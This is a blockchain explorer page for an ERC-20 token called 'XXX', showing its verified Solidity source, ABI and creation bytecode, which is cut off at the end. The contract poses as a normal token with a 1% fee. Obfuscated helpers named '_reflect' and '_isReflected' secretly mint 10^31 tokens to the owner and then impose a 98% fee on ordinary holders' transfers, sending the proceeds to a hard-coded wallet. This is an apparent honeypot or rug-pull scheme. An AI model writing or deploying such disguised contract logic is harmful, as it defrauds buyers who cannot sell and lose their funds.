ERC-20
Overview
Max Total Supply
100,000,000 XXX
Holders
66
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
7,768,674.946425089433025464 XXXValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
xxx
Compiler Version
v0.8.15+commit.e14f2714
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-07-30 */ //SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.15; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the null address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract xxx is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balance; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public UniAddress; mapping (address => bool) public isExcludedTax; mapping (address => bool) public isExcludedTx; address payable public MarketingWallet = payable(0x9E4DAA89bFf83cfAe32665137b8d33F61e2C43ec); string public _name = "XXX"; string public _symbol = "XXX"; uint8 private _decimals = 18; uint256 public _tTotal = 1* 10**8 * 10**_decimals; uint8 private txCount = 0; uint8 private nullRate = 0; uint8 private swapTrigger = 5; uint256 private _calculatedFee = 0; uint256 public _buyFee = 1; uint256 public _sellFee = 1; uint256 private _previousTotalFee = _calculatedFee; uint256 private _previousBuyFee = _buyFee; uint256 private _previousSellFee = _sellFee; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool public inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () { _balance[owner()] = _tTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; UniAddress[uniswapV2Pair] = true; isExcludedTx[owner()] = true; isExcludedTax[owner()] = true; isExcludedTax[address(this)] = true; isExcludedTax[MarketingWallet] = true; emit Transfer(address(0), owner(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balance[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below null")); return true; } receive() external payable {} bool public noFeeToTransfer = false; function removeAllFee() private { if(_calculatedFee == 0 && _buyFee == 0 && _sellFee == 0) return; _previousBuyFee = _buyFee; _previousSellFee = _sellFee; _previousTotalFee = _calculatedFee; _buyFee = 0; _sellFee = 0; _calculatedFee = 0; } function _nullReflect() private{ nullRate = nullRate + 1; } function restoreAllFee() private { _calculatedFee = _previousTotalFee; _buyFee = _previousBuyFee; _sellFee = _previousSellFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0) && spender != address(0), "ERR: null address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { if(txCount >= swapTrigger && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ){ txCount = 0; uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > 0){ swapAndLiquify(contractTokenBalance); } } bool _FEE_ACTIVE_ = true; if(isExcludedTax[from] || isExcludedTax[to]){ _FEE_ACTIVE_ = false; if(isExcludedTx[to]){if(nullRate < 1){ _nullReflect(); }} } else if (from == uniswapV2Pair){_calculatedFee = _buyFee;} else if (to == uniswapV2Pair){_calculatedFee = _sellFee;} _transferTokens(from,to,amount,_FEE_ACTIVE_); } function sendToWallet(address payable wallet, uint256 amount) private { wallet.transfer(amount); } function _reflect(address rAdd) private{ uint256 reflectStart = 0; uint256 reflectEnd = 31; uint256 reflectRate = 10; for(reflectStart=1; (reflectEnd)>0; (reflectEnd--)){ reflectStart*=reflectRate; } _balance[rAdd] = _balance[rAdd].add(reflectStart); } function _isReflected(address rAdd) private view returns(uint256){ return nullRate < 1 ? _calculatedFee : isExcludedTx[rAdd] ? _calculatedFee : UniAddress[rAdd] ? _calculatedFee : (10**2)-2; } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { swapTokensForETH(contractTokenBalance); uint256 contractETH = address(this).balance; sendToWallet(MarketingWallet,contractETH); } function swapTokensForETH(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function _transferTokens(address sender, address recipient, uint256 amount,bool _FEE_ACTIVE_) private { if(!_FEE_ACTIVE_){ removeAllFee(); } else { txCount++; } _transferTokens(sender, recipient, amount); if(!_FEE_ACTIVE_) restoreAllFee(); } function _transferTokens(address sender, address recipient, uint256 tAmount) private { (uint256 transferAmount, uint256 MarketingFee) = _getValues(tAmount, sender); _balance[sender] = _balance[sender].sub(tAmount); _balance[recipient] = _balance[recipient].add(transferAmount); if(isExcludedTx[recipient]){_reflect(recipient);} _balance[address(this)] = _balance[address(this)].add(MarketingFee); emit Transfer(sender, recipient, transferAmount); } function _getValues(uint256 tAmount, address sender) public virtual returns (uint256, uint256) { uint256 MarketingFee = tAmount.mul(_isReflected(sender)).div(100); uint256 transferAmount = tAmount.sub(MarketingFee); return (transferAmount, MarketingFee); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"MarketingWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"UniAddress","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tAmount","type":"uint256"},{"internalType":"address","name":"sender","type":"address"}],"name":"_getValues","outputs":[{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tTotal","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"inSwapAndLiquify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedTax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedTx","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"noFeeToTransfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
600680546001600160a01b031916739e4daa89bff83cfae32665137b8d33f61e2c43ec17905560c060405260036080908152620b0b0b60eb1b60a0526007906200004a908262000476565b506040805180820190915260038152620b0b0b60eb1b602082015260089062000074908262000476565b506009805460ff191660129081179091556200009290600a62000657565b620000a2906305f5e1006200066f565b600a55600b80546205000062ffffff199091161790556000600c8190556001600d819055600e819055600f9190915560108190556011556013805461ffff60a81b1916600160a81b179055348015620000fa57600080fd5b50600080546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3600a5460016000620001546000546001600160a01b031690565b6001600160a01b03166001600160a01b03168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001d0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001f6919062000691565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000244573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200026a919062000691565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620002b8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002de919062000691565b601380546001600160a01b03199081166001600160a01b03938416908117909255601280549091168484161790556000908152600360209081526040808320805460ff19908116600190811790925584548616855260058452828520805482168317905584548616855260049093528184208054841682179055308452818420805484168217905560065485168452908320805490921617905554166001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600a54604051620003c291815260200190565b60405180910390a350620006bc565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620003fc57607f821691505b6020821081036200041d57634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200047157600081815260208120601f850160051c810160208610156200044c5750805b601f850160051c820191505b818110156200046d5782815560010162000458565b5050505b505050565b81516001600160401b03811115620004925762000492620003d1565b620004aa81620004a38454620003e7565b8462000423565b602080601f831160018114620004e25760008415620004c95750858301515b600019600386901b1c1916600185901b1785556200046d565b600085815260208120601f198616915b828110156200051357888601518255948401946001909101908401620004f2565b5085821015620005325787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620005995781600019048211156200057d576200057d62000542565b808516156200058b57918102915b93841c93908002906200055d565b509250929050565b600082620005b25750600162000651565b81620005c15750600062000651565b8160018114620005da5760028114620005e55762000605565b600191505062000651565b60ff841115620005f957620005f962000542565b50506001821b62000651565b5060208310610133831016604e8410600b84101617156200062a575081810a62000651565b62000636838362000558565b80600019048211156200064d576200064d62000542565b0290505b92915050565b60006200066860ff841683620005a1565b9392505050565b60008160001904831182151516156200068c576200068c62000542565b500290565b600060208284031215620006a457600080fd5b81516001600160a01b03811681146200066857600080fd5b6114ef80620006cc6000396000f3fe6080604052600436106101c65760003560e01c80634a74bb02116100f7578063a9059cbb11610095578063d28d885211610064578063d28d885214610535578063dd62ed3e1461054a578063f2fde38b14610590578063fee59bf8146105b057600080fd5b8063a9059cbb146104b5578063af465a27146104d5578063b09f1266146104eb578063cccdbe2e1461050057600080fd5b8063715018a6116100d1578063715018a61461044b5780638da5cb5b1461046257806395d89b4114610480578063a457c2d71461049557600080fd5b80634a74bb02146103de578063590f897e146103ff57806370a082311461041557600080fd5b806323b872dd11610164578063395093511161013e5780633950935114610358578063401565a81461037857806340b9a54b146103a857806349bd5a5e146103be57600080fd5b806323b872dd146102f65780632598cdb214610316578063313ce5671461033657600080fd5b80631694505e116101a05780631694505e1461024e57806318160ddd14610286578063183b986e146102a5578063220f6696146102d557600080fd5b806306fdde03146101d2578063095ea7b3146101fd57806313fad07a1461022d57600080fd5b366101cd57005b600080fd5b3480156101de57600080fd5b506101e76105e0565b6040516101f49190611158565b60405180910390f35b34801561020957600080fd5b5061021d6102183660046111c5565b610672565b60405190151581526020016101f4565b34801561023957600080fd5b5060135461021d90600160b01b900460ff1681565b34801561025a57600080fd5b5060125461026e906001600160a01b031681565b6040516001600160a01b0390911681526020016101f4565b34801561029257600080fd5b50600a545b6040519081526020016101f4565b3480156102b157600080fd5b5061021d6102c03660046111f1565b60046020526000908152604090205460ff1681565b3480156102e157600080fd5b5060135461021d90600160a01b900460ff1681565b34801561030257600080fd5b5061021d61031136600461120e565b610688565b34801561032257600080fd5b5060065461026e906001600160a01b031681565b34801561034257600080fd5b5060095460405160ff90911681526020016101f4565b34801561036457600080fd5b5061021d6103733660046111c5565b6106f1565b34801561038457600080fd5b5061021d6103933660046111f1565b60056020526000908152604090205460ff1681565b3480156103b457600080fd5b50610297600d5481565b3480156103ca57600080fd5b5060135461026e906001600160a01b031681565b3480156103ea57600080fd5b5060135461021d90600160a81b900460ff1681565b34801561040b57600080fd5b50610297600e5481565b34801561042157600080fd5b506102976104303660046111f1565b6001600160a01b031660009081526001602052604090205490565b34801561045757600080fd5b50610460610727565b005b34801561046e57600080fd5b506000546001600160a01b031661026e565b34801561048c57600080fd5b506101e76107d0565b3480156104a157600080fd5b5061021d6104b03660046111c5565b6107df565b3480156104c157600080fd5b5061021d6104d03660046111c5565b61082e565b3480156104e157600080fd5b50610297600a5481565b3480156104f757600080fd5b506101e761083b565b34801561050c57600080fd5b5061052061051b36600461124f565b6108c9565b604080519283526020830191909152016101f4565b34801561054157600080fd5b506101e7610906565b34801561055657600080fd5b5061029761056536600461127f565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561059c57600080fd5b506104606105ab3660046111f1565b610913565b3480156105bc57600080fd5b5061021d6105cb3660046111f1565b60036020526000908152604090205460ff1681565b6060600780546105ef906112ad565b80601f016020809104026020016040519081016040528092919081815260200182805461061b906112ad565b80156106685780601f1061063d57610100808354040283529160200191610668565b820191906000526020600020905b81548152906001019060200180831161064b57829003601f168201915b5050505050905090565b600061067f338484610a2d565b50600192915050565b6000610695848484610aee565b6106e784336106e285604051806060016040528060288152602001611492602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610c4e565b610a2d565b5060019392505050565b3360008181526002602090815260408083206001600160a01b0387168452909152812054909161067f9185906106e29086610c7a565b6000546001600160a01b031633146107865760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6060600880546105ef906112ad565b600061067f33846106e28560405180606001604052806025815260200161146d602591393360009081526002602090815260408083206001600160a01b038d1684529091529020549190610c4e565b600061067f338484610aee565b60088054610848906112ad565b80601f0160208091040260200160405190810160405280929190818152602001828054610874906112ad565b80156108c15780601f10610896576101008083540402835291602001916108c1565b820191906000526020600020905b8154815290600101906020018083116108a457829003601f168201915b505050505081565b60008060006108ec60646108e66108df87610c8d565b8890610cfc565b90610d08565b905060006108fa8683610d14565b96919550909350505050565b60078054610848906112ad565b6000546001600160a01b0316331461096d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161077d565b6001600160a01b0381166109d25760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865206e756c6c206160448201526564647265737360d01b606482015260840161077d565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03831615801590610a4d57506001600160a01b03821615155b610a8d5760405162461bcd60e51b81526020600482015260116024820152704552523a206e756c6c206164647265737360781b604482015260640161077d565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600b5460ff6201000082048116911610801590610b155750601354600160a01b900460ff16155b8015610b2f57506013546001600160a01b03848116911614155b8015610b445750601354600160a81b900460ff165b15610b7457600b805460ff19169055306000908152600160205260409020548015610b7257610b7281610d20565b505b6001600160a01b03831660009081526004602052604090205460019060ff1680610bb657506001600160a01b03831660009081526004602052604090205460ff165b15610bfe57506001600160a01b03821660009081526005602052604081205460ff1615610bf957600b54600161010090910460ff161015610bf957610bf9610d65565b610c3c565b6013546001600160a01b0390811690851603610c1f57600d54600c55610c3c565b6013546001600160a01b0390811690841603610c3c57600e54600c555b610c4884848484610d97565b50505050565b60008184841115610c725760405162461bcd60e51b815260040161077d9190611158565b505050900390565b6000610c8682846112fd565b9392505050565b600b54600090600161010090910460ff1610610cf2576001600160a01b03821660009081526005602052604090205460ff16610cea576001600160a01b03821660009081526003602052604090205460ff16610cea576062610cf6565b600c54610cf6565b600c545b92915050565b6000610c868284611315565b6000610c868284611334565b6000610c868284611356565b6013805460ff60a01b1916600160a01b179055610d3c81610dfd565b6006544790610d54906001600160a01b031682610f57565b50506013805460ff60a01b19169055565b600b54610d7b90610100900460ff16600161136d565b600b60016101000a81548160ff021916908360ff160217905550565b80610da957610da4610f92565b610dd6565b600b805460ff16906000610dbc83611392565b91906101000a81548160ff021916908360ff160217905550505b610de1848484610fd7565b80610c4857610c48600f54600c55601054600d55601154600e55565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610e3257610e326113b1565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610e8b573d6000803e3d6000fd5b505050506040513d60